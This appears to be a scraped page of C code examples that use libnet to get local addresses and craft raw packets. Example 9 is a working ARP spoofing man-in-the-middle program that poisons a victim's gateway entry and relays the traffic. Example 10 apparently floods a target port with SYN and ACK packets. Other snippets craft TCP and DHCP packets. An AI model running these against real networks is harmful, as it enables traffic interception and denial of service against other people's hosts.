Example #1
0
/*
 * Libnet initialize
 */
int libnet_initialize(char *lnet_errbuf, u_int32_t *src_ip, u_int32_t *dst_ip)
{
    // libnet init
    l = libnet_init(LIBNET_RAW4, progopt.device_set() ? progopt.device : NULL, lnet_errbuf);
    if ( l == NULL ) {
        return 0;
    }

    // check destination ip
    *dst_ip = libnet_name2addr4(l, progopt.dstaddr, LIBNET_DONT_RESOLVE);
    if(*dst_ip<1) {
        strncpy(lnet_errbuf, "Destination address error.\n", LIBNET_ERRBUF_SIZE);
        return 0;
    }

    // check source ip
    if(progopt.srcaddr_set()) {
        *src_ip = libnet_name2addr4(l, progopt.srcaddr, LIBNET_DONT_RESOLVE);
        if(*src_ip<1) {
            strncpy(lnet_errbuf, "Source address error.\n", LIBNET_ERRBUF_SIZE);
            return 0;
        }
    }
    else {
        *src_ip = libnet_get_ipaddr4(l);
        if(*src_ip<1) {
            strncpy(lnet_errbuf, libnet_geterror(l), LIBNET_ERRBUF_SIZE);
            return 0;
        }
    }

    return 1;
}
Example #2
0
in_addr_t anubis_default_ip_address(const char *device) {
    char errbuf[LIBNET_ERRBUF_SIZE];
    libnet_t *handle = NULL;
#ifdef __CYGWIN__
    char device2[ANUBIS_BUFFER_SIZE] = {0};
    snprintf(device2, sizeof(device2), "\\Device\\NPF_%s", device);
    handle = anubis_libnet_init(LIBNET_RAW4, device2, errbuf);
#else
    handle = anubis_libnet_init(LIBNET_RAW4, device, errbuf);
#endif
    
    if(!handle) {
        anubis_err("%s\n", errbuf);
        return 0;
    }//end if
    
    in_addr_t my_ip = libnet_get_ipaddr4(handle);
    if(my_ip == -1) {
        anubis_err("%s\n", libnet_geterror(handle));
        my_ip = 0;
    }//end if
    
    libnet_destroy(handle);
    return my_ip;
}//end anubis_default_ip_address
Example #3
0
int main() {

  libnet_t *l; /* libnet context */
  char errbuf[LIBNET_ERRBUF_SIZE];
  u_int32_t ip_addr;
  struct libnet_ether_addr *mac_addr;

  l = libnet_init(LIBNET_RAW4, "eth0", errbuf);
  if (l == NULL) {
    fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
    exit(EXIT_FAILURE);
  }

  ip_addr = libnet_get_ipaddr4(l);
  if (ip_addr != -1)
    printf("IP address: %s\n", libnet_addr2name4(ip_addr, LIBNET_DONT_RESOLVE));
  else
    fprintf(stderr, "Couldn't get own IP address: %s\n", libnet_geterror(l));

  mac_addr = libnet_get_hwaddr(l);
  if (mac_addr != NULL)
    printf("MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
           mac_addr->ether_addr_octet[0], mac_addr->ether_addr_octet[1],
           mac_addr->ether_addr_octet[2], mac_addr->ether_addr_octet[3],
           mac_addr->ether_addr_octet[4], mac_addr->ether_addr_octet[5]);
  else
    fprintf(stderr, "Couldn't get own MAC address: %s\n", libnet_geterror(l));

  libnet_destroy(l);
  return 0;
}
Example #4
0
int TCP_SF_Sender::tcpSF(unsigned int destip, unsigned short dport,unsigned int seq, unsigned int control, unsigned short IPid)
{
    // TODO : now we use the fixed ethernet,we will do something to make it find ethernet by itself
    char dev[DEV_MAX] ;			/* set device name */
    strcpy(dev,global_dev);
    libnet_t *l = NULL;
    libnet_ptag_t packetTag;		// the tag return by some build functions
    char errBuff[LIBNET_ERRBUF_SIZE] = {0};
    // first is to initilize the library and create the envirnoment
    l = libnet_init(LIBNET_RAW4,dev,errBuff);
    if( NULL==l ){
        return -1;
    }

    // create the tcp header
    packetTag=libnet_build_tcp(
                25555,		// source port(fixed)
                dport,		// dest port
                seq,		// TODO : seq
                0,			// ack
                control,	// control flags
                0,			// window size
                0,			// checksum (0 for autofill)
                0,			// urgent pointer
                LIBNET_TCP_H,// total length of the TCP packet (for checksum calculation)
                NULL,		// playload
                0,			// playload length
                l,			// the libnet context
                0			// build a new one
                );
    // source ip is my IP
    u_long source;
    source = libnet_get_ipaddr4(l);
    if( -1==int(source) ){
        return -1;
    }
    // create the ip header
    packetTag=libnet_build_ipv4(
                LIBNET_IPV4_H + LIBNET_TCP_H,
                0,
                IPid,             // id
                0,
                60,             // TTL
                IPPROTO_TCP,
                0,
                source,
                destip,
                NULL,
                0,
                l,
                0
                );
    // send packets
    int packet_length = libnet_write(l);
    // destory the session
    libnet_destroy(l);
    return packet_length;
}
Example #5
0
void getDados(){
   sIP = libnet_get_ipaddr4(l);
   //dIP = (192<<24) | (168<<16) | (200<<8) | (2);
   dIP = (192) | (168<<8) | (200<<16) | (2<<24);
   mac_addr = libnet_get_hwaddr(l);
   sprintf(SA,"%02x:%02x:%02x:%02x:%02x:%02x", 
      mac_addr->ether_addr_octet[0],
      mac_addr->ether_addr_octet[1],
      mac_addr->ether_addr_octet[2],
      mac_addr->ether_addr_octet[3],
      mac_addr->ether_addr_octet[4],
      mac_addr->ether_addr_octet[5]);
}
Example #6
0
struct libnet_ipv4_hdr anubis_default_ip_header(const char *device) {
    struct libnet_ipv4_hdr ip;
    char errbuf[LIBNET_ERRBUF_SIZE];
    int ttl;
    
    memset(&ip, 0, sizeof(ip));
    
    ip.ip_v = IPVERSION;
    ip.ip_hl = sizeof(ip) >> 2;
    
    anubis_srand();
    ip.ip_id = random();
    
#if 0
    int mib[4];
    size_t sz;
    mib[0] = CTL_NET;
    mib[1] = PF_INET;
    mib[2] = IPPROTO_IP;
    mib[3] = IPCTL_DEFTTL;
    sz = sizeof(ttl);
    if (sysctl(mib, 4, &ttl, &sz, NULL, 0) == -1) {
        anubis_perror("sysctl()");
        return ip;
    }//end if
#else
    ttl = 64;
#endif
    
    ip.ip_ttl = ttl;
    
	libnet_t *handle = NULL;
#ifdef __CYGWIN__
	char device2[ANUBIS_BUFFER_SIZE] = {0};
	snprintf(device2, sizeof(device2), "\\Device\\NPF_%s", device);
	handle = anubis_libnet_init(LIBNET_RAW4, device2, errbuf);
#else
	handle = anubis_libnet_init(LIBNET_RAW4, device, errbuf);
#endif
	
    if(!handle) {
        anubis_err("%s\n", errbuf);
        return ip;
    }//end if
    ip.ip_src.s_addr = libnet_get_ipaddr4(handle);
    
    libnet_destroy(handle);
    
    return ip;
}//end anubis_default_ip_header
Example #7
0
static int
arp_send(libnet_t *l, int op, u_int8_t *sha,
	 in_addr_t spa, u_int8_t *tha, in_addr_t tpa)
{
	int retval;

	if (sha == NULL &&
	    (sha = (u_int8_t *)libnet_get_hwaddr(l)) == NULL) {
		return (-1);
	}
	if (spa == 0) {
		if ((spa = libnet_get_ipaddr4(l)) == -1)
			return (-1);
	}
	if (tha == NULL)
		tha = "\xff\xff\xff\xff\xff\xff";
	
	libnet_autobuild_arp(op, sha, (u_int8_t *)&spa,
			     tha, (u_int8_t *)&tpa, l);
	libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, l, 0);
	
	fprintf(stderr, "%s ",
		ether_ntoa((struct ether_addr *)sha));

	if (op == ARPOP_REQUEST) {
		fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
			ether_ntoa((struct ether_addr *)tha),
			libnet_addr2name4(tpa, LIBNET_DONT_RESOLVE),
			libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
	}
	else {
		fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
			ether_ntoa((struct ether_addr *)tha),
			libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
		fprintf(stderr, "%s\n",
			ether_ntoa((struct ether_addr *)sha));
	}
	retval = libnet_write(l);
    char *libnetError = libnet_geterror(l);
	if (strlen(libnetError) > 0) {
		fprintf(stderr, "%s", libnetError);
        exit(1);
    }


	libnet_clear_packet(l);

	return retval;
}
Example #8
0
void getData(libnet_t *l, uint32_t *sip, uint32_t *dip,
      uint8_t *SA)
{
   struct libnet_ether_addr * mac_addr;
   (*sip)=(uint32_t)libnet_get_ipaddr4(l);
   //*dip = (uint32_t)((192) | (168<<8) | (200<<16) | (2<<24));
   *dip = (uint32_t)((192) | (168<<8) | (101<<16) | (1<<92));
   mac_addr = libnet_get_hwaddr(l);
   if(mac_addr == NULL)
   {
      printf("Error get_hwaddr\n");
      exit(0);
   }
   sprintf((char*)SA,"%02x:%02x:%02x:%02x:%02x:%02x",
         (uint8_t)mac_addr->ether_addr_octet[0],
         (uint8_t)mac_addr->ether_addr_octet[1],
         (uint8_t)mac_addr->ether_addr_octet[2],
         (uint8_t)mac_addr->ether_addr_octet[3],
         (uint8_t)mac_addr->ether_addr_octet[4],
         (uint8_t)mac_addr->ether_addr_octet[5]);
}
Example #9
0
int main(int argc, char* argv[]) {
  libnet_t *l;  /* libnet context */
  char errbuf[LIBNET_ERRBUF_SIZE];
  u_int32_t ip_addr;
  struct libnet_ether_addr *mac_addr;
  l = libnet_init(LIBNET_RAW4, NULL, errbuf);

  uint8_t *dst_mac, *ether_frame;
  int sd, sd2, sd3, frame_length, bytes;
  uint8_t *ether_frame2;
  struct sockaddr_ll device;

  arp_hdr arphdr_send;
  arp_hdr *arphdr_receive;
  ether_frame = (uint8_t *)malloc(IP_MAXPACKET * sizeof(uint8_t));
  ether_frame2 = (uint8_t *)malloc(IP_MAXPACKET * sizeof(uint8_t));
  memset(ether_frame, 0, IP_MAXPACKET * sizeof(uint8_t));

  char buff[1024];
  char buff2[1024];
  int count = 0;
  pthread_t p_thread[2];
  int thr_id, thr_id2;
  char str[256];

  /* get gateway address  */
  FILE *in = popen("route", "r");
  for (int i = 0; i < 3; i++) {
    fgets(buff, sizeof(buff), in);
  }
  while (buff[count] != ' ') count++;
  while (buff[count] == ' ') count++;
  inet_aton(buff + count, &gw_ip_addr);
  printf("\n [+]Gateway IP Adress : %s\n", inet_ntoa(gw_ip_addr));
  pclose(in);
/*
  Address                  HWtype  HWaddress           Flags Mask            Iface
  192.168.230.2            ether   00:50:56:f4:44:1d   C                     ens33
*/
  sprintf(str, "arp %s",inet_ntoa(gw_ip_addr));
  FILE *in2 = popen(str, "r");
  count=0;
  fgets(buff2, sizeof(buff2), in);
  fgets(buff2, sizeof(buff2), in);
  while (buff2[count] != ' ') count++;
  while (buff2[count] == ' ') count++;
  while (buff2[count] != ' ') count++;
  while (buff2[count] == ' ') count++;
  gw_mac_addr=ether_aton(buff2 + count);
  pclose(in2);
  printf("\n [+]PRINT REQUEST_PACKET\n");
  struct in_addr target_ip_addr;
  inet_aton(argv[1], &target_ip_addr);
  printf("target IP Adress : %s\n", inet_ntoa(target_ip_addr));

  ///////////////////// 0.get my attacker's mac , ip ////////////////////////////////

  if (l == NULL) {
    fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
    exit(EXIT_FAILURE);
  }

  /* get ip address  */
  ip_addr = libnet_get_ipaddr4(l);
  if (ip_addr != 0xff)
    printf("Src IP address: %s\n", libnet_addr2name4(ip_addr, \
      LIBNET_DONT_RESOLVE));
  else
    fprintf(stderr, "Couldn't get own IP address: %s\n", \
      libnet_geterror(l));
  /* get mac address  */
  mac_addr = libnet_get_hwaddr(l);
  if (mac_addr != NULL)
    printf("Src MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n", \
      mac_addr->ether_addr_octet[0], \
      mac_addr->ether_addr_octet[1], \
      mac_addr->ether_addr_octet[2], \
      mac_addr->ether_addr_octet[3], \
      mac_addr->ether_addr_octet[4], \
      mac_addr->ether_addr_octet[5]);
  else
    fprintf(stderr, "Couldn't get own MAC address: %s\n", \
      libnet_geterror(l));
  libnet_destroy(l);

  // Submit request for a raw socket descriptor.
  if ((sd2 = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) {
    perror("socket() failed ");
    exit(EXIT_FAILURE);
  }
  // Listen for incoming ethernet frame from socket sd.
  // We expect an ARP ethernet frame of the form:
  //     MAC (6 bytes) + MAC (6 bytes) + ethernet type (2 bytes)
  //     + ethernet data (ARP header) (28 bytes)
  // Keep at it until we get an ARP reply.
  arphdr_receive = (arp_hdr *)(ether_frame2 + LIBNET_ETH_H);

  /////////////////////// 1. send REQUEST packet  ////////////////////////////

  // ARP header (request)

  // Hardware type (16 bits): 1 for ethernet
  // arp_request_hdr.ar_hrd = htons(ARPHRD_ETHER);
  arphdr_send.htype = htons(ARPHRD_ETHER);

  // Protocol type (16 bits): 2048 for IP
  arphdr_send.ptype = htons(ETHERTYPE_IP);


  // Hardware address length (8 bits): 6 bytes for MAC address
  arphdr_send.hlen = 6;

  // Protocol address length (8 bits): 4 bytes for IPv4 address
  arphdr_send.plen = 4;

  // OpCode: 1 for ARP request
  arphdr_send.opcode = htons(ARPOP_REQUEST);

  // Sender hardware address (48 bits): MAC address
  memcpy(&arphdr_send.sender_mac, mac_addr, 6 * sizeof(uint8_t));

  // Sender protocol address (32 bits)

  memcpy(&arphdr_send.sender_ip, &ip_addr, 4 * sizeof(uint8_t));

  // See getaddrinfo() resolution of src_ip;.

  // Target hardware address (48 bits): zero, since we don't know it yet.
  memset(&arphdr_send.target_mac, 0, 6 * sizeof(uint8_t));

  // Target protocol address (32 bits)
  memcpy(&arphdr_send.target_ip, &target_ip_addr, 4 * sizeof(uint8_t));

  // Fill out ethernet frame header.

  // Ethernet frame length = ethernet header (MAC + MAC + ethernet type) + ethernet data (ARP header)
  frame_length = LIBNET_ETH_H + LIBNET_ARP_ETH_IP_H;

  // Set destination MAC address: broadcast address
  dst_mac = (uint8_t *)malloc(6 * sizeof(uint8_t));
  memset(dst_mac, 0xff, 6 * sizeof(uint8_t));

  // Destination and Source MAC addresses
  memcpy(ether_frame, dst_mac, 6 * sizeof(uint8_t));
  memcpy(ether_frame + 6, mac_addr->ether_addr_octet, 6 * sizeof(uint8_t));

  // Next is ethernet type code (ETH_P_ARP for ARP).

  ether_frame[12] = ETHERTYPE_ARP / 256;
  ether_frame[13] = ETHERTYPE_ARP % 256;

  // Next is ethernet frame data (ARP header).

  // ARP header
  memcpy(ether_frame + LIBNET_ETH_H, &arphdr_send, LIBNET_ARP_ETH_IP_H * sizeof(uint8_t));
  // Submit request for a raw socket descriptor.
  if ((sd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) {
    perror("socket() failed ");
    exit(EXIT_FAILURE);
  }

  // struct sockaddr_ll device, which will be used as an argument of sendto().
  memset(&device, 0, sizeof(device));
  if ((device.sll_ifindex = if_nametoindex("ens33")) == 0) {
    perror("if_nametoindex() failed to obtain interface index ");
    exit(EXIT_FAILURE);
  }
  // Fill out sockaddr_ll.
  device.sll_family = AF_PACKET;
  memcpy(device.sll_addr, mac_addr, 6 * sizeof(uint8_t));
  device.sll_halen = 6;

  // Send ethernet frame to socket.
  if ((bytes = sendto(sd, ether_frame, frame_length, 0, (struct sockaddr *) &device, sizeof(device))) <= 0) {
    perror("sendto() failed");
    exit(EXIT_FAILURE);
  }

  ///////////////////////////// 2. receive packet  ///////////////////////

  while (((((ether_frame2[12]) << 8) + ether_frame2[13]) != ETH_P_ARP) || (ntohs(arphdr_receive->opcode) != ARPOP_REPLY)) {
    if ((recv(sd2, ether_frame2, IP_MAXPACKET, 0)) < 0) {
      if (errno == EINTR) {
        memset(ether_frame2, 0, IP_MAXPACKET * sizeof(uint8_t));
        continue;
      }
      else {
        perror("recv() failed:");
        exit(EXIT_FAILURE);
      }
    }
  }
  ////////////////// print received packet ///////////////////

  // Print out contents of received ethernet frame.
  printf("\n [+]PRINT REPLY_PACKET");
  printf("\nEthernet frame header:\n");
  printf("Destination MAC (this node): ");
  int i = 0;
  for (i = 0; i < 5; i++) {
    printf("%02x:", ether_frame2[i]);
  }
  printf("%02x\n", ether_frame2[5]);
  printf("Source MAC: ");
  for (i = 0; i < 5; i++) {
    printf("%02x:", ether_frame2[i + 6]);
  }
  printf("%02x\n", ether_frame2[11]);
  // Next is ethernet type code (ETH_P_ARP for ARP).
  printf("Ethernet type code (2054 = ARP): %u\n", ((ether_frame2[12]) << 8) + ether_frame2[13]);
  printf("Ethernet data (ARP header):\n");
  printf("Hardware type (1 = ethernet (10 Mb)): %u\n", ntohs(arphdr_receive->htype));
  printf("Protocol type (2048 for IPv4 addresses): %u\n", ntohs(arphdr_receive->ptype));
  printf("Hardware (MAC) address length (bytes): %u\n", arphdr_receive->hlen);
  printf("Protocol (IPv4) address length (bytes): %u\n", arphdr_receive->plen);
  printf("Opcode (2 = ARP reply): %u\n", ntohs(arphdr_receive->opcode));
  printf("Sender hardware (MAC) address: ");
  for (i = 0; i < 5; i++) {
    printf("%02x:", arphdr_receive->sender_mac[i]);
  }
  printf("%02x\n", arphdr_receive->sender_mac[5]);
  printf("Sender protocol (IPv4) address: %u.%u.%u.%u\n",
    arphdr_receive->sender_ip[0], arphdr_receive->sender_ip[1], arphdr_receive->sender_ip[2], arphdr_receive->sender_ip[3]);
  printf("Target hardware (MAC) address: ");
  for (i = 0; i < 5; i++) {
    printf("%02x:", arphdr_receive->target_mac[i]);
  }
  printf("%02x\n", arphdr_receive->target_mac[5]);
  printf("Target protocol (IPv4) address: %u.%u.%u.%u\n",
    arphdr_receive->target_ip[0], arphdr_receive->target_ip[1], arphdr_receive->target_ip[2], arphdr_receive->target_ip[3]);
  printf("\n");

  ////////////////////// 3.send spoofing packet    /////////////////////////////////////

  arp_hdr arphdr_spoof;
  uint8_t *ether_frame3;
  ether_frame3 = (uint8_t *)malloc(IP_MAXPACKET * sizeof(uint8_t));
  memset(ether_frame3, 0, IP_MAXPACKET * sizeof(uint8_t));

  // ARP header (request)
  // target mac = victim
  // sender mac = attacker
  // target ip = victim
  // sender ip = gateway
  // dst mac = victim mac
  // src mac = attacter mac


  // Hardware type (16 bits): 1 for ethernet
  // arp_request_hdr.ar_hrd = htons(ARPHRD_ETHER);
  arphdr_spoof.htype = htons(ARPHRD_ETHER);

  // Protocol type (16 bits): 2048 for IP
  arphdr_spoof.ptype = htons(ETHERTYPE_IP);


  // Hardware address length (8 bits): 6 bytes for MAC address
  arphdr_spoof.hlen = 6;

  // Protocol address length (8 bits): 4 bytes for IPv4 address
  arphdr_spoof.plen = 4;


  // OpCode: 1 for ARP request
  arphdr_spoof.opcode = htons(ARPOP_REPLY);

  // Sender hardware address (48 bits): MAC address
  memcpy(&arphdr_spoof.sender_mac, &arphdr_send.sender_mac, 6 * sizeof(uint8_t));

  // Sender protocol address (32 bits) : gateway address
  memcpy(arphdr_spoof.sender_ip, &gw_ip_addr, 4 * sizeof(uint8_t));

  // See getaddrinfo() resolution of src_ip;.

  // Target hardware address (48 bits): victim address
  memcpy(&arphdr_spoof.target_mac, arphdr_receive->sender_mac  , 6 * sizeof(uint8_t) );

  // Target protocol address (32 bits)
  memcpy(&arphdr_spoof.target_ip, &arphdr_send.target_ip, 4 * sizeof(uint8_t));


  // Fill out ethernet frame header.

  // Ethernet frame length = ethernet header (MAC + MAC + ethernet type) + ethernet data (ARP header)
  frame_length = LIBNET_ETH_H + LIBNET_ARP_ETH_IP_H;

  // Set destination MAC address: broadcast address
  uint8_t *dst_mac_spf;
  dst_mac_spf = (uint8_t *)malloc(6 * sizeof(uint8_t));
  memcpy(dst_mac_spf, arphdr_receive->sender_mac, 6 * sizeof(uint8_t));

  // Destination and Source MAC addresses
  memcpy(ether_frame3, arphdr_receive->sender_mac, 6 * sizeof(uint8_t));
  memcpy(ether_frame3 + 6, arphdr_receive->target_mac, 6 * sizeof(uint8_t));

  // Next is ethernet type code (ETH_P_ARP for ARP).
  // http://www.iana.org/assignments/ethernet-numbers
  ether_frame3[12] = ETHERTYPE_ARP / 256;
  ether_frame3[13] = ETHERTYPE_ARP % 256;

  // Next is ethernet frame data (ARP header).

  // ARP header
  memcpy(ether_frame3 + LIBNET_ETH_H, &arphdr_spoof, LIBNET_ARP_ETH_IP_H * sizeof(uint8_t));
  // Submit request for a raw socket descriptor.
  if ((sd3 = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) {
    perror("socket() failed ");
    exit(EXIT_FAILURE);
  }

  // Find interface index from interface name and store index in
  // struct sockaddr_ll device, which will be used as an argument of sendto().
  memset(&device, 0, sizeof(device));
  if ((device.sll_ifindex = if_nametoindex("ens33")) == 0) {
    perror("if_nametoindex() failed to obtain interface index ");
    exit(EXIT_FAILURE);
  }
  // Fill out sockaddr_ll.
  device.sll_family = AF_PACKET;
  memcpy(device.sll_addr, mac_addr, 6 * sizeof(uint8_t));
  device.sll_halen = 6;

  printf("\n [+]SEND SPOOFING PACKET  \n");
  char *mac_buff;
  mac_buff = (char *)malloc(17 * sizeof(char));

  //Parameter param;
  spoof_P.sd = sd3;
  spoof_P.ether_frame = ether_frame3;
  spoof_P.frame_length = frame_length;
  spoof_P.device = device;

  arp_hdr pk;
  pk.htype = htons(ARPHRD_ETHER);
  pk.ptype = htons(ETHERTYPE_IP);
  pk.hlen = 6; //6 bytes for MAC address
  pk.plen = 4; //4 bytes for IPv4 address
  pk.opcode=htons(ARPOP_REQUEST);
  memcpy(pk.sender_mac, arphdr_spoof.target_mac, 6 * sizeof(uint8_t));
  memcpy(pk.sender_ip, arphdr_spoof.target_ip, 4 * sizeof(uint8_t));
  memcpy(pk.target_mac, arphdr_spoof.sender_mac, 6 * sizeof(uint8_t));
  memcpy(pk.target_ip, arphdr_spoof.sender_ip, 4 * sizeof(uint8_t));
  thr_id = pthread_create(&p_thread[0], NULL, send_packet, (void *)&spoof_P); //send infected packet
  thr_id2 = pthread_create(&p_thread[1], NULL, relay_packet, (void *)&pk); // relay infected packet

  pthread_join(p_thread[0],NULL);
  pthread_join(p_thread[1],NULL);
  free(mac_buff);
  free(dst_mac);
  free(ether_frame);
  free(ether_frame2);
  close(sd);
  close(sd2);

  close(sd3);

  return (EXIT_SUCCESS);
}
Example #10
0
int main(int argc, char *argv[])
{
    unsigned int port;
    int opt;
    unsigned long delay;
    pid_t pid;
    char *interface, *endptr;
    char libnet_ebuf[LIBNET_ERRBUF_SIZE];
    pcap_t *pcap;
    char pcap_expr[100];
    libnet_t *libnet;
    u_int32_t target_addr, source_addr;
    struct sigaction sa;

    interface = NULL;

    while ((opt = getopt(argc, argv, "i:")) != -1) {
        switch (opt) {
        case 'i':
            interface = optarg;
            break;
        default:
            usage();
            break;
        }
    }

    argc -= optind;
    argv += optind;

    if (argc != 3) {
        usage();
    }

    port = strtoul(argv[1], &endptr, 10);
    if ((*endptr != '\0') || port < 1 || port > 65535) {
        errx(1, "Invalid port: %s", argv[1]);
    }

    errno = 0;
    delay = strtoul(argv[2], &endptr, 10);
    if (*endptr != '\0') {
        errx(1, "invalid delay: %s", argv[2]);
    } else if ((errno == ERANGE &&
                (delay == LONG_MAX)) ||
               (errno != 0 && delay == 0)) {
        errx(1, "invalid delay (%s): %s", strerror(errno), argv[2]);
    }

    /* Initialize libnet */

    if ((libnet = libnet_init(LIBNET_RAW4, interface, libnet_ebuf)) == NULL) {
        errx(1, "couldn't initialize libnet: %s", libnet_ebuf);
    }

    if ((target_addr = libnet_name2addr4(libnet, argv[0], LIBNET_RESOLVE)) == -1) {
        errx(1, "could not resolve target %s", argv[0]);
    }

    if ((source_addr = libnet_get_ipaddr4(libnet)) == -1) {
        errx(1, "could not get local IP: %s", libnet_ebuf);
    }

    /* Initialize pcap */
    snprintf(pcap_expr, 99, "tcp and tcp[tcpflags] == 18 and src host %s and port %s",
             argv[0], argv[1]);
    if ((pcap = pcap_init(interface, pcap_expr, 64)) == NULL)
        errx(1, "couldn't initialize sniffing");

    if ((pcap_off = pcap_dloff(pcap)) < 0)
        errx(1, "couldn't determine link layer offset");

    /* Fork */

    pid = fork();
    if (pid == -1)
        errx(1, "fork failed");
    else if (pid == 0)
        send_syns(libnet, source_addr, target_addr, port, delay);
    else {
        child_pid = pid;
        sa.sa_handler = &handle_signal;
        sigaction(SIGINT, &sa, NULL);
        sigaction(SIGQUIT, &sa, NULL);
        sigaction(SIGTERM, &sa, NULL);

        send_acks(pcap, libnet);
    }

    return EXIT_SUCCESS;

}
Example #11
0
int main(int argc, char **argv) {
  int ch, dhcp_payload_len;
  unsigned char *dhcp_payload;
  libnet_ptag_t ptag_dhcpv4, ptag_udp, ptag_ipv4, ptag_ethernet;

  char *arg_secs, *arg_cip, *arg_chaddr, *arg_sip, *arg_ifname;
  char *arg_operation, *arg_timeout, *arg_xid, *arg_flags, *arg_yip;
  char *arg_gip, *arg_sname, *arg_fname, *arg_ether_dst, *stmp;
  char *arg_ipv4_src, *arg_ipv4_dst, *arg_ipv4_tos, *arg_ipv4_ttl;
  char *arg_reply_count;

  if (argc < 2) usage("too few arguments");

  srandom(time(NULL));

  arg_secs = arg_cip = arg_chaddr = arg_sip = arg_ifname = NULL;
  arg_operation = arg_timeout = arg_xid = arg_flags = arg_yip = NULL;
  arg_gip = arg_sname = arg_fname = arg_ether_dst = arg_reply_count = NULL;
  arg_ipv4_src = arg_ipv4_dst = arg_ipv4_tos = arg_ipv4_ttl = NULL;
  verbosity = 1;

  while ((ch = getopt(argc, argv, "s:c:h:i:o:t:x:f:y:g:S:A:B:O:X:v:F:T:L:Q:E:w:n:m")) != -1) {
    switch (ch) {
      case 's': arg_secs = optarg; break;
      case 'c': arg_cip = optarg; break;
      case 'h': arg_chaddr = optarg; break;
      case 'S': arg_sip = optarg; break;
      case 'i': arg_ifname = optarg; break;
      case 'o': arg_operation = optarg; break;
      case 't': arg_timeout = optarg; break;
      case 'x': arg_xid = optarg; break;
      case 'f': arg_flags = optarg; break;
      case 'y': arg_yip = optarg; break;
      case 'B': arg_fname = optarg; break;
      case 'A': arg_sname = optarg; break;
      case 'g': arg_gip = optarg; break;
      case 'F': arg_ipv4_src = optarg; break;
      case 'T': arg_ipv4_dst = optarg; break;
      case 'L': arg_ipv4_ttl = optarg; break;
      case 'Q': arg_ipv4_tos = optarg; break;
      case 'n': arg_reply_count = optarg; break;
      case 'E': arg_ether_dst = optarg; break;
      case 'v': verbosity = atoi(optarg); break;
      case 'm': no_double_options = 0; break;
      case 'O': add_option(optarg); break;
      case 'X': add_hexoption(optarg); break;
      case 'w': option_lookup(optarg); break;
      case '?':
      default:
        usage("unknown argument");
    }
  }
  argc -= optind;
  argv += optind;

  /* Set some basic defaults */
  set_defaults();

  /* Make sure network interface was specified with -i option */
  if (arg_ifname == NULL) {
    usage("Error: network interface (-i option) not specified.");
  }
  strncpy(ifname, arg_ifname, 99);

  /* Try to have pcap and libnet use the interface */
  pcp = pcap_open_live(ifname, SNAPLEN, 1, 1, pcap_errbuf);
  if (pcp == NULL) {
    printf("pcap_open_live(%s) failed! Did you give the right interface name " 
           "and are you root?\n", ifname);
    printf("pcap said: %s\n", pcap_errbuf);
    exit(1);
  }
  lnp = libnet_init(LIBNET_LINK, ifname, libnet_errbuf);
  if (lnp == NULL) {
    printf("libnet_init(%s) failed!\n", ifname);
    printf("libnet said: %s\n", libnet_errbuf);
    exit(1);
  }

  /* Set chaddr MAC address */
  if (arg_chaddr != NULL) {
    int len = ETHER_ADDR_LEN;
    /*chaddr = libnet_hex_aton((int8_t *)arg_chaddr, &len);*/
    chaddr = libnet_hex_aton(arg_chaddr, &len);
    if (chaddr == NULL) {
      if (verbosity > 0)
        printf("Invalid chaddr MAC address specified (%s)\n", arg_chaddr);
      exit(1);
    }
  }
  else {
    /* Try to retrieve MAC address using libnet */
    chaddr = (u_int8_t *)libnet_get_hwaddr(lnp);
    if (chaddr == NULL) {
      if (verbosity > 1) {
        printf("Failed to retrieve MAC address for interface %s, using 0:0:0:0:0:0\n"
          "Libnet said: %s\n", ifname, libnet_errbuf);
      }
      memset(chaddr, 0, ETHER_ADDR_LEN);
    }
  }

  /* Set cip address */  
  if (arg_cip != NULL) {
    cip = inet_addr(arg_cip);
    if (cip == INADDR_NONE) {
      if (verbosity > 0) 
        printf("Invalid cip address specified (%s)\n", arg_cip);
      exit(1);
    }
    cip = ntohl(cip);
  }
  else {
    /* Try to retrieve IP address using libnet */
    cip = libnet_get_ipaddr4(lnp);
    if ((int)cip == -1) {
      if (verbosity > 1) {
        printf("Failed to retrieve IPv4 address for interface %s, using cip 0.0.0.0\n"
          "Libnet said: %s\n", ifname, libnet_errbuf);
      }
      cip = inet_addr("0.0.0.0");
    }
    else
      cip = htonl(cip);
  }


  /**************************/
  /* Set various parameters */
  /**************************/

  if (arg_operation != NULL) {
    if (option_added(LIBNET_DHCP_MESSAGETYPE) && no_double_options) {
      if (verbosity > 0) {
        printf("Error: DHCP messagetype specified twice (don't use -o option if\n"
               "       you also intend to use -O to set option 53 (messagetype))\n");
      }
      exit(1);
    }
    if (strcasecmp(arg_operation, "discover") == 0) {
      operation = LIBNET_DHCP_MSGDISCOVER;
      if (arg_timeout == NULL)
        timeout = 5;
    }
    else if (strcasecmp(arg_operation, "request") == 0) {
      operation = LIBNET_DHCP_MSGREQUEST;
      if (arg_timeout == NULL)
        timeout = 5;
    }
    else if (strcasecmp(arg_operation, "inform") == 0) {
      operation = LIBNET_DHCP_MSGINFORM;
      if (timeout == 0)
        timeout = 5;
    }
    else if (strcasecmp(arg_operation, "release") == 0)
      operation = LIBNET_DHCP_MSGRELEASE;
    else if (strcasecmp(arg_operation, "decline") == 0)
      operation = LIBNET_DHCP_MSGDECLINE;
    else {
      if (verbosity > 0)
        usage("Invalid DHCP operation type");
      else
        exit(1);
    }
    /* Add MESSAGETYPE DHCP option */
    num_options++;
    options = (struct dhcp_option *)
      realloc(options, num_options * sizeof(struct dhcp_option));
    options[num_options-1].opnum = LIBNET_DHCP_MESSAGETYPE;
    options[num_options-1].oplen = 1;
    options[num_options-1].opdata[0] = operation;
  }
  else {
    /* no "-o operation" argument given */
    if (option_added(LIBNET_DHCP_MESSAGETYPE) == 0) {
      /* Add MESSAGETYPE DHCP option */
      num_options++;
      options = (struct dhcp_option *)
        realloc(options, num_options * sizeof(struct dhcp_option));
      options[num_options-1].opnum = LIBNET_DHCP_MESSAGETYPE;
      options[num_options-1].oplen = 1;
